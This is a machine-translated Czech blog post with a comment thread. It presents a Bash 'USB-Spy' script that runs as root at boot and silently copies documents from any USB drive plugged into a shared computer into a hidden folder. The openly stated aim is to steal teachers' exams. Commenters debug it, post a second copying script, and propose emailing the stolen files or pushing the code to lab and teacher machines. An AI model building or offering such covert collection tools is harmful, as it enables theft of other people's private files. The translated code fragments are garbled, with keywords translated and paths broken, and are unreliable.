Skript pro sledování obsahu zařízení USB a jeho zkopírování do počítače

Vždy jsem byl neklidný student a vždy jsem chtěl využít příležitostí jako ... například kopírování semestrálních zkoušek z USB klíče učitele nebo něco takového. Když jsem byl na střední škole (počítačový specialista), chtěl jsem naprogramovat „něco“, co by bylo následující:

  1. Zjistit, kdy je k počítači ve třídě připojeno zařízení USB
  2. Zkopírujte veškerý obsah z tohoto zařízení do počítače

To by mi umožnilo mít zkoušku mnohem dříve, bylo by jen nutné, aby učitel připojil svou USB paměť (pendrive) k počítači a to je vše.

Bohužel v mém ústavu měly počítače Windows a ... nikdy a nikdy jsem se nenaučil programovat pro tento OS.

Nyní však používám Linux (samozřejmě ne? LOL!), A s vědomím, že jsem si za ty roky dokázal získat, nyní ANO! Toho už mohu dosáhnout s Linuxem 😀

To znamená, že jsem naprogramoval jednoduchý skript, který dělá následující:

1. Vytvořte složku /home/.USBDRIVES/
2. Každých 5 sekund kontroluje, zda je k počítači připojeno nějaké zařízení USB (nebo CD / DVD).
3. V případě, že je jeden připojen, vytvoří uvnitř /home/.USBDRIVES/ složku s názvem USB (například: paměť-2 GB) a také zkopíruje všechny soubory .doc, .pdf atd. (zde seznam) do této složky, kterou jste právě vytvořili.
4. V případě, že není připojeno žádné USB, bude jednoduše čekat 5 sekund na spuštění kontroly, kterou jsem znovu vysvětlil výše 😀

Tady je skript a soubor, který obsahuje formáty ke kopírování:

Stáhněte si USB-Spy.zip
Skript musí být spuštěn jako root, aby jeho činnost nebyla omezena. Zde vysvětluji, jak toho dosáhnout

Aby skript fungoval bez problémů, je nejlepší, aby byl spuštěn s administrátorskými právy (root), protože je zřejmé, že je třeba jej spustit společně s počítačem, tímto způsobem zajistíme, že pokud je počítač restartován nebo vypnut, když znovu spustím skript, bude tam pracovat, připraven extrahovat z libovolného USB to, co chceme 😉

Otevřeme terminál ... jednou otevřený ...

1. Předpokládejme, že máme oba soubory / opt / (/opt/usb-spy.sh y /opt/usb-spy.files), musíme mu dát oprávnění ke spuštění:

sudo chmod +x /opt/usb-spy.sh

2. Otevřeme soubor /etc/rc.local :

sudo nano /etc/rc.local

3. V něm píšeme nad posledním řádkem (výjezd 0) další:

/opt/usb-spy.sh &

4. Nyní stiskneme [Ctrl] + [X] pro uložení a ukončení souboru, stiskneme [S] nebo [Y] (podle jazyka systému) a poté [Enter]. To bude stačit k uložení provedených změn.

A voila, to bude stačit na to, aby se skript spustil jako root, když zapneme počítač.

Je důležité ověřit, že soubor usb-spy. soubory je ve stejném adresáři jako usb-spy.sh 😉

Nyní ... vysvětlím něco o vnitřním fungování scénáře, protože vím, že je tu spousta milovníků Bash

Q: Jak skript ví, že je připojeno zařízení USB?
Odpověď: V souboru / etc / mtab našeho systému jsou zařízení nebo oddíly, které jsou připojeny k našemu systému. Prostřednictvím řádku 23 skriptu je známo, zda je připojeno USB nebo ne (dělat kočku na mtab a grep média)
Otázka: Ano, ale Jak skript ví, zda nám kočka a grep vrátí nějaká data, či nikoli?
A: Prostřednictvím a pokud tedy smyčka else který začíná na řádku 24.
Q: Jak to zkopírovat pouze soubory s požadovanými příponami? (.doc, .pdf atd.)
Odpověď: Pomocí rsync s různými parametry je to na řádku 34. Jednoduše vysvětleno, s rsync kopíruji pouze soubory, které odpovídají filtru usb-spy.files, každý řádek je takřka filtrem. Také předám parametr --prune-empty-dirs na rsync, takže mi nevytváří prázdné adresáře.
Mimochodem, něco důležitý. Pokud je připojeno například 8GB USB zařízení, vše funguje správně, ale všiml jsem si, že pokud je připojeno zařízení s mnohem větší kapacitou, například 500GB nebo 1TB, proces hledání souborů .doc atd. Pro jejich kopírování k počítači trvalo dlouho, tak jsem dal limit GB. To znamená, že v řádku 31 prohlašuji, že pokud je zařízení USB menší než 16 GB, najděte soubory a zkopírujte je, ale pokud je větší než 16 GB, nedělejte nic. Chcete-li zvýšit těchto 16 GB o 32 GB, jednoduše zvyšte toto číslo z řádku 31

Ve skutečnosti toho není příliš mnoho k vysvětlení, skript je snadno pochopitelný :)

Máte-li jakékoli pochybnosti nebo dotazy, stížnosti, nápady nebo návrhy, řekněte to a slibuji, že jim v maximální možné míře pomůžu.

No, přemýšlel jsem o tom, že dám něco jako: «tento skript je pouze pro vzdělávací účely, nepoužívejte se škodlivými soubory»… Ale ... co to sakra! Použijte to, co chcete, je čas, aby studenti měli nějakou výhodu oproti učitelům, kteří nás utlačují 😀

pozdravy

Skript můžete i nadále vylepšovat, ale myslím, že je to dobrý začátek, pokud má někdo pocit, že má motivaci přispět k tomuto „vznešenému“ důvodu, bude to potěšení 😀

Zanechte svůj komentář

Vaše e-mailová adresa nebude zveřejněna. Povinné položky jsou označeny *

*

*

  1. Odpovědný za údaje: Miguel Ángel Gatón
  2. Účel údajů: Ovládací SPAM, správa komentářů.
  3. Legitimace: Váš souhlas
  4. Sdělování údajů: Údaje nebudou sděleny třetím osobám, s výjimkou zákonných povinností.
  5. Úložiště dat: Databáze hostovaná společností Occentus Networks (EU)
  6. Práva: Vaše údaje můžete kdykoli omezit, obnovit a odstranit.

  1.   živý řekl

    Podvodník ¬¬

    XDDDD

    1.    KZKG ^ Gaara řekl

      Ne, vůbec ... pokud jste si někdy mysleli, že něco takového uděláte ... HAHAHA.

      1.    Ivan Molina řekl

        Zachránil jsi mě před kvízem 😀… Nyní tvůj «KZKG ^ Gaara» Jsi můj bůh ... Chvála!

    2.    Facundo řekl

      Dobrý den, velmi dobrý skript, ale v mega souboru již neexistuje, můžete jej poslat na můj e-mail, prosím

  2.   Oskar řekl

    Linux je 1% a říkáte, že jste se nikdy nenaučili programovat pro Windows, takže doučování je pro linuxový systém, moje otázka zní: jaká je možnost najít učitele, který k doučování používá linux?

    1.    KZKG ^ Gaara řekl

      Tento skript nebo trik je „implementován“ do počítače, který nemusí nutně být osobním nebo vlastním profesorem, stačí, že to bude jakýkoli počítač univerzity nebo vysoké školy, pak by bylo možné dosáhnout pouze pomocí X nebo Y důvod, proč profesor připojí vaše USB na tomto počítači.

      Ano, je to pro Linux, ale mnoho univerzit má Linux jako systém v počítačových laboratořích, stejně jako bootování s LiveCD a ne nutně instalaci Linuxu na PC 🙂

      O 1% doporučuji přečíst si tento příspěvek: https://blog.desdelinux.net/debunking-the-1-percent-myth-traducido-al-espanol/

    2.    Hyuuga_neji řekl

      Možnost dopadu obřího meteoritu na Atlantik přibližně za 30 minut

  3.   Dělat si srandu z řekl

    Vypadá to zajímavě, bude to nutné vyzkoušet.
    díky

    1.    KZKG ^ Gaara řekl

      Nástroj, který má, není skvělá věc, ale skript jako takový je zajímavý ... protože se z něj můžete naučit několik tipů, například jak znát připojená USB, velikost diskových oddílů atd. 🙂

  4.   cr0t0 řekl

    Originální a velmi dobře vysvětlený článek KZKG ^ Gaara. Na zdraví!

    1.    KZKG ^ Gaara řekl

      Děkuji

  5.   Oskar řekl

    Jaká drzost !!! a odvažujete se to napsat do blogu OO, nevím, co si mám myslet, může to být tím, že někdo hackl Gaaru, který ho nemá moc rád?

    1.    KZKG ^ Gaara řekl

      drzost? proč?
      Ačkoli účel nebo motiv skriptu nemusí být tak vážný jako zbytek mých příspěvků, myslím, že skript, jeho linie a logika programování mají hodně přispět.

      Z tohoto skriptu můžete využít několik věcí:
      1. Jak zjistit velikost oddílu a že se jedná o proměnnou.
      2. Jak zkontrolovat, zda je připojeno USB, a extrahovat jeho cestu a název.
      3. smyčky if-then-else a while.

      Každopádně si nemyslím, že je to úplně zbytečné nebo tak něco.

      1.    Oskar řekl

        Myslím, že jste špatně interpretovali můj komentář, myslím tím na začátku vašeho článku,
        „Vždy jsem byl neklidný student a vždy jsem chtěl využít příležitostí, jako ... například kopírování semestrálních zkoušek z USB paměti učitele nebo něco takového.“ Pokud vás to, co říkám, obtěžuje, doufám, že mě omluvíte, nebyl to můj záměr.

        1.    Blaire pascal řekl

          oO jak skvělý blog, dobré články, dobří čtenáři, uživatelé se omlouvají ... je to ráj lol bez trolů.

          1.    KZKG ^ Gaara řekl

            díky ^ - ^
            Jsme hrdí na to, čeho jsme doposud dosáhli, tato komunita je opravdu hrdá ... je skvělé být součástí toho všeho 😀

        2.    KZKG ^ Gaara řekl

          Ne, vůbec ne, vůbec jsem se neobtěžoval xD
          A ano hehe, byla to moje chyba, že jsem špatně vyložil váš komentář hehehe, omlouvám se za to 😉

          Nic, co se ode mě teď omlouvá, si budu muset umýt obličej, abych zjistil, jestli to probudím ... z toho, co vidím, stále nejsem 100% HAHAHA.

          Zdravím přítele 🙂

        3.    Oskar řekl

          Velmi dobrá osoba xD

  6.   neomýtus řekl

    Chtěl bych, aby mé univerzitní počítače měly Linux muhahahjaja.

  7.   GGGG1234 řekl

    Dobrý článek!
    Ale kdo to chce napodobit ve Windows, bude jednodušší, protože tam, kde nemáte v počítači root přístup, který chcete použít, nemůžete nechat „navždy“. U Windows se to neděje 😉

  8.   Blaire pascal řekl

    Velmi dobře hehe.

  9.   Hyuuga_neji řekl

    Myšlenka je dobrá, má pouze slabost v nutnosti používat rootovské oprávnění

    1.    KZKG ^ Gaara řekl

      Vlastně nemusíte být root jako takový ... pokud ve skriptu prohlásíte, že složka NEBUDE /home/.USBDRIVES, jak jsem uvedl, a říká například: / home / usuario /. USBDRIVES ... pak bude stačit spuštění skriptu pomocí „user“ 😀

  10.   Emilio řekl

    Je to dobrý nápad, ale myslím si, že byste se ušetřili úpravou rc.local a jeho spuštěním každou minutu pomocí crontab, a tak se vyhnete problému s jeho spuštěním jako root a ostatní, na druhou stranu, i když to není ovlivní hodně, spotřebováváte paměť počítače zbytečně každých 5 sekund, abyste zkontrolovali, zda je USB, i když tomu tak není. To je můj názor

    1.    KZKG ^ Gaara řekl

      Chci říct, kontrolovat každou 1 minutu, že? Neudělal jsem to tak, protože ... co když je USB připojeno a odpojeno za méně než 1 minutu? 😀

      Raději jsem to dělal každých 5 sekund, abych se ujistil, že skutečně „zachytím“ všechna USB 😉

      Pokud jsem vás nepochopil, opravte mě 🙂

      Zdravím a vítejte.

      1.    Emilio řekl

        Ano, proveďte kontrolu každou minutu prostřednictvím cronu, ale každý z nich má jiný způsob vidění problému, nic víc než pohled na kód, nebylo by lepší před vytvořením zkontrolovat, zda složka /home/.USBDRIVES již existuje to je návrh nic víc

        pozdravy

        1.    KZKG ^ Gaara řekl

          Ano, také, je to detail, který jsem si všiml, ale ... Byl jsem líný to vyřešit LOL!

          Stejně tak bych mohl dát protokol, kde jsou zobrazeny soubory, které byly zkopírovány (individuální protokol pro každé zařízení), možná dokonce poslat tento protokol e-mailem (pomocí nějaké metody odesílání e-mailů terminálem těch, které jsem vložil zde na web) ... ale jak jsem ti řekl, jsem trochu líný ^ - ^ U

  11.   pavloco řekl

    Hahahaha skvěle.

  12.   hexborg řekl

    AHA! Takže váš software může být použit pro zlo. LOL !!! 🙂

    Trik je v pořádku, ale ... co když chcete odpojit USB, než skript dokončí kopírování jeho obsahu? V takovém případě si bude stěžovat, že se používá, a všimne si, že něco není v pořádku. 🙂

    1.    KZKG ^ Gaara řekl

      Systém ve skutečnosti neumožňuje odpojení USB, protože to „něco“ bude používat 😉

      1.    hexborg řekl

        Přesný! A to je, když si Oscarův profesor myslí, že našel linuxový virus. LOL !! 🙂

  13.   Oskar řekl

    Jednou jste mě přiměli vzpomenout si, že jsem udělal něco podobného (na mém Uni, kdybychom měli linux / windows), ale vytvořil jsem program C, který generoval tisíce složek. Čalounil jsem USB člověku, který jej zapojil. Vedoucí počítačového centra byl ohromen! Myslel si, že našel virus v linuxx muajajajaja ... ahhh .. jaké byly časy =)

    1.    Miguel řekl

      a jaký je rozdíl s virem?

      1.    Oskar řekl

        Že jsem se na dálku dostal do jeho USB a spustil program 😛

        1.    Miguel řekl

          hahahaha, takže to byl hack XD

    2.    KZKG ^ Gaara řekl

      ????
      hehehehehe, takže jste našli virus v Linuxu, že? … LOL !!

  14.   Sempromy řekl

    Pro mě to prostě nefunguje xD, pokud se pokusím spustit z terminálu, řekne mi to: ./usb-spy.sh: řádek 31: [: -lt: očekává se unární operátor
    Zdá se, že s tímto řádkem není něco v pořádku: if [$ USBSIZE -lt 15664800]; pak
    Ale nevím, co to je, protože také nevytváří adresář .USB.

    Pokud to bude možné vyřešit, najdu užitečný skript.

    1.    hexborg řekl

      Zkuste nahradit df za / bin / df a nezapomeňte jej spustit jako root.

      1.    Sempromy řekl

        Dobře, teď, když vytvoří složku .USB uvnitř domovského adresáře, ale stále mi říká přes terminál, že: „./usb-spy.sh: řádek 31: [: -lt: očekává se unární operátor“ a nekopíruje nic, v tomto řádku musí být nějaký konflikt, oceňuji pomoc, pokud to někdo vidí.
        Děkuju mnohokrát.

        1.    hexborg řekl

          Můžete nám poskytnout obsah vašeho souboru / etc / mtab, když je USB připojen?

          1.    Sempromy řekl

            Jistě, tady to je:

            / dev / sda12 / ext4 rw, chyby = remount-ro 0 0
            proc / proc proc rw, noexec, nosuid, nodev 0 0
            sysfs / sys sysfs rw, noexec, nosuid, nodev 0 0
            žádný / sys / fs / pojistka / připojení fusectl rw 0 0
            žádný / sys / kernel / debug debugfs rw 0 0
            žádný / sys / kernel / security securityfs rw 0 0
            udev / dev devtmpfs rw, mode = 0755 0 0
            devpts / dev / pts devpts rw, noexec, nosuid, gid = 5, mode = 0620 0 0
            tmpfs / spustit tmpfs rw, noexec, nosuid, velikost = 10%, režim = 0755 0 0
            none / run / lock tmpfs rw, noexec, nosuid, nodev, size = 5242880 0 0
            none / run / shm tmpfs rw, nosuid, nodev 0 0
            binfmt_misc / proc / sys / fs / binfmt_misc binfmt_misc rw, noexec, nosuid, nodev 0 0
            / dev / sdb1 / media / DOCU403 vfat rw, nosuid, nodev, uid = 1000, gid = 1000, shortname = m $

            Poslední řádky jsou řádky připojeného USB / dev / sdb1

          2.    hexborg řekl

            Uvidíme, jestli to máme. 🙂

            Dejte nám výstup příkazu df. A zkuste přidat řádek:

            echo $ USBSIZE

            Přímo před tím, pokud to dává problém, a řekněte nám, co vyjde při spuštění skriptu. Mělo by to vypadat takto:

            USBSIZE = `/ bin / df | grep $ USBDEV | awk {'print $ 2'} `
            echo $ USBSIZE
            pokud [$ USBSIZE -lt 15664800]; pak

            A pro každý případ nám také řekněte, jaký je výstup příkazu df.

            1.    Sempromy řekl

              Dobře, po částech mi to příkaz df vrátí:

              1K-bloky použitého souborového systému Dostupné použití Použít% připojeno
              / dev / sda12 54082300 45246956 6125892 89% /
              udev 2004028 4 2004024 1% / dev
              tmpfs 805768 1180 804588 1% / běh
              žádný 5120 0 5120 0% / běh / zámek
              žádný 2014420 92 2014328 1 XNUMX XNUMX% / běh / shm
              / dev / sdb1 1023200 322256 700944 32% / média / DOCU 3

              Příkaz, který mi df vrací: / bin / df

              Pak jsem dal echo $ USBSIZE a výsledek je stejný, nevytiskne nic nového, ale chyba z dříve, legrační je, že se to stane s USB, které testuji, pokud vložím externí pevný disk 500 GB pokud vrátí velikost disku na obrazovce, ale 500 překročí 16, pokud, proto s pevným diskem nic nedělá.

              Ale s USB nedělá nic, kromě zobrazení chyby: ./usb-spy.sh: řádek 34: [: -lt: očekává se unární operátor
              Je to, jako by to nemohlo ukázat velikost USB, ale pomocí příkazu df dostanu jeho velikost.

              Děkujeme za pomoc, uvidíme, jestli ji můžeme získat!


            2.    Sempromy řekl

              Pro případ, že by příkaz nevypadal dobře, zanechávám snímek obrazovky: http://i48.tinypic.com/j5dvn5.jpg


          3.    hexborg řekl

            Vidím, že na mtabu je cesta, kde se zdá namontovaná, „/ media / DOCU403“, zatímco v df se objeví „/ media / DOCU 3“. Díky tomu ho grep nenajde a nevrátí velikost. Zkuste změnit první řádky pro tak, aby vypadaly takto:

            pro USBD v `cat / etc / mtab | grep média | awk '{print $ 1}' '';
            do
            USBDEV = `cat / etc / mtab | grep $ USBD | awk '{print $ 2}' ''
            USBSIZE = `/ bin / df | grep $ USBD | awk {'print $ 2'} `

            Změny spočívají ve změně názvu proměnné for na USBD, změně $ 2 na konci řádku for na $ 1, vložení řádku začínajícího na USBDEV hned za provedením a změně USBDEV na USBD v řádku, který začíná s USBSIZE ... doufám, že jsem se nepopletl. 🙂

            Myšlenkou je udělat pro pro podle názvu zařízení místo podle bodu připojení.

            1.    KZKG ^ Gaara řekl

              Problém byl v tom, že na mtab, když má zařízení mezery ... umístí na řádek nějaké „podivné“ znaky, konkrétně na místo mezery.

              Nic, tak snadno řešitelného jako změna způsobu, jakým je $ USBDEV určeno, to na řádku 28 nezmění a nepovede takto:
              for USBDEV in `df | grep media | awk -F / {'print $5'}` ;

              ????


          4.    Atheyus řekl

            Uvidíme, jestli vám mohu pomoci ...

            Unární operátor to ukazuje, protože nenajde velikost disku, to se stane, protože to nekontroluje, to se stane, protože se to nazývá

            DOKUMENT 3

            a bere to jako dvě hodnoty, pokud by to byla DOCU, neotevřelo by to problém

            Možná to bude fungovat pro vás

            http://www.itimetux.com/2012/11/manejar-archivos-o-carpetas-con-espacios-en-unix.html

            Zdravím 🙂

            1.    Sempromy řekl

              Opravdu to je problém, protože jsem právě zkusil jiné USB, které mají název se slovem bez mezer, například „třídy“ a skript funguje bez problémů, proto rozpoznal pevný disk a ne vzpomínky, ale nyní Jde o to, že když vím, jak vložím uvozovky do kódu skriptu, musím je uvést na „$ USBNAME“?

              Děkuji Atheyovi a Hexborgu za pomoc, je téměř hotovo.


          5.    KZKG ^ Gaara řekl

            Vlastně Sempromy je to super jednoduché opravit 😉
            Řádek 28 ... změňte to na toto:
            for USBDEV in `df | grep media | awk -F / {'print $5'}` ;

            Právě jsem provedl test s touto změnou a funguje to dobře se zařízeními, jejichž štítek / název má mezeru :)

            Nyní provedu změnu ve skriptu ke stažení.

          6.    hexborg řekl

            Velmi dobře. Je tedy snadné jej opravit. 🙂

  15.   auroszx řekl

    Ach, velmi důmyslný 😀 Beru to na vědomí, kdybych potřeboval ...

  16.   Sempromy řekl

    KZKG ^ Gaara, s tímto uspořádáním to funguje perfektně, teď když zkopíruji USB s mezerou ve jménu, moc děkuji všem za pomoc, pokusím se zjistit, jestli to dokážu spustit pomocí bootování systému a tak Zkontrolujte každý cyklus, zda je připojeno USB.

    Nakonec jsme toho dosáhli xD.

    1.    KZKG ^ Gaara řekl

      ^ - ^ ... potěšení hehe.
      Problém byl v tom, že jsem použil mtab k rozpoznání USB, mohl jsem jednoduše použít df ... Použil jsem mtab, protože jsem si myslel, že by bylo zajímavé jim tento soubor vysvětlit, vědět to, ale nepředvídal jsem, že se tato chyba stane se zařízeními s mezerami lol.

      Jakékoli otázky nebo problémy, které necháte, řeknou, téměř každý zde rád pomůže xD

      pozdravy

    2.    hexborg řekl

      Samozřejmě. Jsme linuxové. Vždy to pochopíme. XD.

  17.   Jeretik řekl

    Nainstalujte si na počítač učitele démona, který vygeneruje záznam všech souborů .doc, .docx, .odt, .pdf a pošle vám je poštou. Kromě častého skenování počítače při hledání změn, nových souborů nebo výmazů v uvedeném registru vám anet jakékoli novinky pošlou upravený nebo nový soubor také poštou.

  18.   Jeretik řekl

    Každopádně si myslím, že více než úlovek je provedení tohoto skriptu (A JAKO ROOT !!!!) sebevražda. Každému, kdo má zájem o vložení souboru do počítače s oprávněním root a se vším, usnadňujete život a věci o 700%. Pamatujte, že rozšíření v Linuxu neexistují a že .doc v Linuxu může být stejný jako text, video nebo ještě horší, skript (tentokrát s velmi špatnými úmysly).

    1.    KZKG ^ Gaara řekl

      Spuštění jako root není zcela nutné, stačí definovat složku, kam bude obsah umístěn někam, kde má běžící uživatel oprávnění k zápisu (například vlastní domov) a to je vše 🙂

      Na nebezpečné soubory ... no, můžete přidat několik řádků, které by chmod -x do všech souborů, a tak ztratit vlastnost provádění.

      1.    Sempromy řekl

        Na začátku jsem přidal tyto řádky, abych odstranil složku .USBDRIVES, pokud již byla vytvořena:

        pokud [-s $ PLACE]
        pak rm -r $ PLACE
        fi

        Tímto způsobem nedojde k chybě «již existujícího adresáře», tj. Pokud si musíte dát pozor, aby ve složce .USBDRIVES nebylo nic, co bychom nechtěli smazat, protože to smaže a vloží jiný na jeho místo.

  19.   Daniel řekl

    Chcete-li přidat nové formáty souborů, stačí je zapsat na usb-spy? například .jpg .mp3 atd.

    1.    KZKG ^ Gaara řekl

      Chcete-li přidat nové typy souborů, vložte je do souboru usb-spy.files
      Podívejte se na obsah souboru a uvidíte, jak je přidat, je to docela jednoduché 😉

  20.   Wuilmerův bolivar řekl

    Pokud jsme ve stejné síti a existuje učitelský stroj, zajímavé by bylo vytvořit síťové mapování, můžeme mít ssh na strojích a tímto způsobem distribuovat kód na laboratorních strojích nebo dokonce na učitelském stroji .... To mi dává tolik nápadů: $

  21.   xyler řekl

    Dobrý den, blahopřeji vám k příspěvku a všem vašim příspěvkům, ale mám otázku, zda někdo může tento problém vyřešit:

    Testoval jsem váš skript na počítači s ubuntu 12.04LTS (s Unity) a fungoval perfektně, ale jak jsem viděl, přestal tento skript vykonávat po prvním spuštění, protože složka .USBDRIVES již byla vytvořena, Rozhodl jsem se přímo použít tento další skript vašeho autorství, který byl zveřejněn v jiné části tohoto fóra

    zde vám zkopíruji skript, abyste se našli

    #! / bin / bash
    #
    # - * - KÓDOVÁNÍ: UTF-8 - * -
    # Tento program je svobodný software. Můžete jej dále distribuovat a / nebo
    # upravte jej podle podmínek Všeobecné veřejné licence
    GNU # zveřejněný Free Software Foundation,
    # buď verze 2 uvedené licence, nebo (v závislosti na vašem
    # choice) jakékoli pozdější verze.
    #
    # Pokud v této aplikaci provedete nějaké úpravy,
    # by měl vždy uvádět původního autora.
    #
    #Copyleft 2012, DesdeLinux.net {Havana City, Kuba}.
    # Autor: KZKG ^ Gaara

    WHILE = 0

    zatímco [$ CONTROL = 0]; dělat
    kočka / etc / mtab | grep media >> / dev / null
    pokud [$? -ne 0]; pak
    COUNTER = 0
    jiný
    COUNTER = 1
    : $ {USBDEV: = `cat / etc / mtab | grep média | awk '{print $ 2}' `` »/»}
    cp $ USBDEV / * / home /
    fi
    spát 5
    hotový

    výjezd 0

    Téma je následující v ubuntu12.04 lts unity, že poslední skript běží dobře a funguje, ale když downgraduji stejný počítač z důvodu "x" a pokusím se, aby to fungovalo v ubuntu 10.10 ne, můžu to udělat
    Na jedné straně vyvolá chybu a nečte jednotky pera, které mají složený název, například: DATA-G, ani nekopíruje soubory, které mají složený název. Kromě tohoto problému mám problém, že skript je spuštěn pouze tehdy, když je počítač restartován jednou.

    Otázka by zněla: jak mohu udělat, aby mi tento skript zkopíroval pendrivy a soubory se složenými jmény
    a pokud používám crontab nebo mohu naplánovat, aby fungoval v určitou dobu

    Další detail, v Ubuntu 10.10, protože používá Gnome, chtěl bych přidat některá omezení, která je třeba vzít v úvahu, když dáváte oprávnění ke spuštění skriptu, musí být umístěn v /etc/init.d ne v / etc /
    (Vezměte v úvahu, že jej tam musíte vložit z terminálu pomocí sudo nautilus)

    na druhou stranu by další dimenzí bylo, že po vložení, aby bylo možné zjistit, zda ji lze provést, je třeba ji provést v jiném terminálu

    sudo su (být root)
    heslo

    ls

    cd / etc / init.d

    ls -l

    a tam skočíme, jestli běží nebo ne

    pak ve stejném terminálu nebo v jiném terminálu v jiném čase jako root a v etc / init.d (tj. až do kroku cd / etc / init.d) jako v předchozím terminálu pokračujeme následujícím způsobem oprávnění k provedení

    sudo chmod + x script.sh

    aktualizovat -rc.d script.sh výchozí 80

    restart

    Opakuji to tak, že se automaticky spouští v Ubuntu 10.10, pokud se jedná o jinou verzi, jako je 12.04, musíte udělat to, co říká KZKG ^ Gaara

    A poslední otázka, jak chci zkopírovat obsah (až 3 podsložky pendrive) do domovské nebo do skryté domovské složky, nebo ne, předpokládám, že to bylo .USBDRIVES
    v kódu bych nemusel říkat

    cp -r /media/*/*/*/home/.USBDRIVES/*

    Stručně řečeno, abych získal to, co chci, jak by měl zůstat skript?
    Protože jsem se již pokusil upravit řádek, který upravili na usb-spy sh, ale na ten druhý, který zaznamenává přímo na domov a vyvolá chybu na upraveném řádku.? Pozdravy . Děkuji

  22.   Kakashi řekl

    Nemohu stáhnout druhý skript

  23.   metallus řekl

    Velmi dobře. 😉

  24.   kamaleon řekl

    A když neudělám kroky, které jste vložili, co se stane? Neběží to nebo jen běží, ale bez root? Pokud mají počítače systém, o kterém říkáme, že obnovuje veškerou vnitřní konfiguraci počítače při jeho vypnutí, bude to fungovat? Děkuji.

    1.    KZKG ^ Gaara řekl

      V případě, že systém má „něco“, co je výchozí ve složce / home /, musíte upravit skript, kde se říká / home / změnit na / opt / nebo nějakou jinou složku, která není ovlivněna.

  25.   gambi řekl

    Myslím, že pro zlepšení skriptu a zabránění narušení v pendrive by bylo optimální upřednostnit typ, velikost souboru. Například ponechejte velké soubory o velikosti 100 megabajtů nebo více na poslední. Nebo nejprve zkopírujte soubory doc, docx, txt, pdf, xml, ... atd. Atd. A nechte soubory avi, mp4, mkv na poslední ...

  26.   lucas řekl

    Dobrý den, nápad je dobrý. Chtěl jsem se zeptat na dvě otázky:
    - Může to být provedeno obráceně? vytvořit skript pro penderiver, který se připojí k jakémukoli stroji a extrahuje soubory.
    - funguje pro Windows OS?

    1.    KZKG ^ Gaara řekl

      Dobrý den,

      Nejsem si jistý, jak by se dalo udělat, že při připojení pendrive stejný pendrive sám provede skript, který má uvnitř.

      A ne, tento skript nefunguje pro Windows 🙂

      1.    LUCAS řekl

        Dobře, díky za odpověď, prošetřím, jak to udělat

  27.   Jose Damian Bazaga Ruiz řekl

    Jak dobrý scénář. Analyzoval jsem to a zdá se mi to úžasné, doufejme, že jednoho dne budu moci vytvořit i takové praktické skripty.

  28.   Jose řekl

    Skvělý příspěvek, i když nástroj, který mu dám, není přesně to, pro co jste jej vznesli, pokud jej použiji k zálohování souborů skupiny uživatelů, zneužití, které mám ... hehehehe ....

  29.   zapouzdřit řekl

    při pokusu o spuštění mi dává tento chybový řádek 31: [: příliš mnoho argumentů
    odeberte tento řádek a zkontrolujte, zda fungoval. a ukázalo se, že to je čára, která omezuje velikost zařízení.
    při odstraňování zkopíruje to, co mám v připojených oddílech 🙁

  30.   Valente řekl

    Ahoj, jsem nový a vím, že hrnec je starý, ale moc se mi líbil, tvůj scénář je velmi poučný

    Děkujeme za sdílení a podrobné vysvětlení ...

    Wave

  31.   doltrox řekl

    Příteli, zachránil jsi mě, vše, co musíš udělat, je odvrátit pozornost učitele a představit usb mému notebooku a pak hahahaha poslední zkouška a poznámky všech hahaha

    1.    222 řekl

      Můžete mi předat skript, odkaz nefunguje

    2.    222 řekl

      Můžete mi předat skript, na kterém je odkaz nefunkční

  32.   Worm2D2 řekl

    kzkggaara, můžete znovu nahrát soubory? odkazy jsou dole: /, moc děkuji

  33.   Bastian řekl

    Můžete prosím nahrát odkazy?

  34.   nekr0 řekl

    slyší! strýc! padli jste na chválu, mohli byste je znovu vznést!
    OK! : v

  35.   nekr0 řekl

    No, dělám to znovu, protože nevím, jestli bylo nahráno to, co jsem chtěl říct ...

    je to tak, že máte odkazy dole, můžete je nahrát!

  36.   rlorau řekl

    Odkazy jsou nefunkční !!!

  37.   Developer24 řekl

    Znovu odešlete odkazy, prosím @usemoslinux Vyšetřuji toto téma, díky!

  38.   anonymní řekl

    Skript lze stáhnout zde. Myslím, že je to stejné

    https://mega.nz/#!yQR1BQTb!FoYoopZ11WSstQaqX1flxhm1t4jCKOI9jj8VIxIBrxk

  39.   John řekl

    V tom případě….

    Z mého skromného pohledu si myslím, že je to skvělý článek, a pokud existují lidé, kteří říkají, že jste podvodník, pak si myslím, že je to podle účelu, pro který program používáte.
    Mně osobně se více líbilo znát programovací jazyk pro linux, protože jsem pracoval pouze v java, díky partnerovi, vzbudil jsi můj zájem dozvědět se více o jazyce pro linux.

    Děkuji ti.

  40.   Hecorat řekl

    Ahoj přátelé, protože jsem našel jiný způsob, jak použít tento skript, je zálohování, trochu si s vámi promluvím Mám dvě zařízení, fotoaparát a hdd, co chci, je, že místo nahrávání souborů se ukládají místní soubory je na externím pevném disku z kamery na pevný disk, ale dává mi chybu, která říká „příliš mnoho argumentů“, mohl byste mi pomoci

  41.   LUIS GERARDO POLANCO VERA řekl

    Funguje to pouze se zařízeními s operačními systémy Linux?

  42.   Testování řekl

    Někdo to zvedněte, prosím!

  43.   gazelene řekl

    Dobrý den, nemám linux a v mé škole používají Windows, použil jsem aplikaci pro zachycení usb a zkopíruji pouze 5 souborů z paměti učitele, mám podezření, že usb má ochranu, protože to samé se stalo dvakrát, bude existovat nějaký jiný způsob odečíst z tohoto USB úplné informace?

  44.   zaraki řekl

    Pokud říkáte, že kód bude jednoduchý, zdá se být velmi zajímavé vidět, jak metody fungují, aby zjistily, zda je připojeno USB nebo velikost oddílu. Škoda, že odstranili skript mega.nz, můžete jej nahrát znovu?

    Zdravím a skvělá práce, jednoduché, ale funkční i pro automatizaci kopií z USB !!!

  45.   Přestávky řekl

    Dobrý!
    Právě jsem zadal váš blogový příspěvek a opravdu mě zajímá. Stává se, že když kliknete na soubor .zip, který vás přesměruje na mega, znamená to, že soubor již není k dispozici.
    Zajímalo by mě, jestli mi můžete poslat ty soubory, které mají být staženy.
    Děkuji moc a pozdravy!

  46.   Alfredo Pereira řekl

    Technologie má ve zvyku zmenšovat se v průběhu let. A to se neuvěřitelně stalo s disky SSD (SSD). Nyní je můžete získat ve stejné velikosti jako nejrychlejší USB flash disky.

    https://clongeek.com/las-unidades-usb-3-0-mas-rapidas/

  47.   a řekl

    Můžete mi poslat soubor nebo jej nahrát znovu? Vyjde to, že nelze stáhnout